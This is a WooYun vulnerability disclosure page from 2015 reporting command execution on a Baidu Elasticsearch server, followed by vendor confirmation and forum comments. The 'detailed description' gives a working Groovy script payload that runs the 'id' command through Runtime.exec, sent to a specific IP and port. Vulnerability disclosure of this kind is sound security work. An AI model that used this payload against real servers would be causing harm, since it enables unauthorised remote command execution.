当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0133032

漏洞标题：神器而已之百度某站命令执行可内网

相关厂商：百度

漏洞作者： 举起手来

提交时间：2015-08-10 13:56

修复时间：2015-09-24 14:14

公开时间：2015-09-24 14:14

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-10： 细节已通知厂商并且等待厂商处理中
2015-08-10： 厂商已经确认，细节仅向厂商公开
2015-08-20： 细节向核心白帽子及相关领域专家公开
2015-08-30： 细节向普通白帽子公开
2015-09-09： 细节向实习白帽子公开
2015-09-24： 细节向公众公开

简要描述：

神器而已

详细说明：

http://180.97.34.106:8200//_search
?source={"size":1,"script_fields": {"iswin": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()","lang": "groovy"}}}


大家都知道的漏洞而已

漏洞证明：

0810-1.png


0809-2.png

修复方案：

~~

版权声明：转载请注明来源 举起手来@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-08-10 14:13

厂商回复：

感谢关注!

最新状态：

暂无

漏洞评价：

评论

  1. 2015-08-10 13:59 | missy ( 普通白帽子 | Rank:414 漏洞数:112 | 要么旅行，要么读书，身体和灵魂，必须有一...)

    前排出售瓜子、西瓜、果仁

  2. 2015-08-10 14:04 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    目测是IP上的漏洞

  3. 2015-08-10 14:13 | 牛 小 帅 ( 普通白帽子 | Rank:363 漏洞数:84 | [code]心若没有栖息的地方，走到哪里都是在...)

    这么快

  4. 2015-08-10 14:40 | 土夫子 ( 普通白帽子 | Rank:173 漏洞数:41 | 逆流而上，顺势而为)

    广告位出租

  5. 2015-08-10 14:42 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    有的时候不得不相信，真的有神器

  6. 2015-08-10 15:04 | 举起手来 ( 普通白帽子 | Rank:479 漏洞数:50 | 准备好，举起手来！)

    楼上是明白人。

  7. 2015-08-10 15:05 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    @举起手来 老外的神器？

  8. 2015-08-10 15:10 | 举起手来 ( 普通白帽子 | Rank:479 漏洞数:50 | 准备好，举起手来！)

    @0x 80 老外是什么东西。国产的才是最好的。

  9. 2015-08-10 15:20 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @举起手来 擦

  10. 2015-08-10 15:56 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    不许动！举起手来！！！

  11. 2015-09-24 15:46 | 幻老头儿 ( 普通白帽子 | Rank:133 漏洞数:30 | 新手上路。)

    怎么确定是百度的？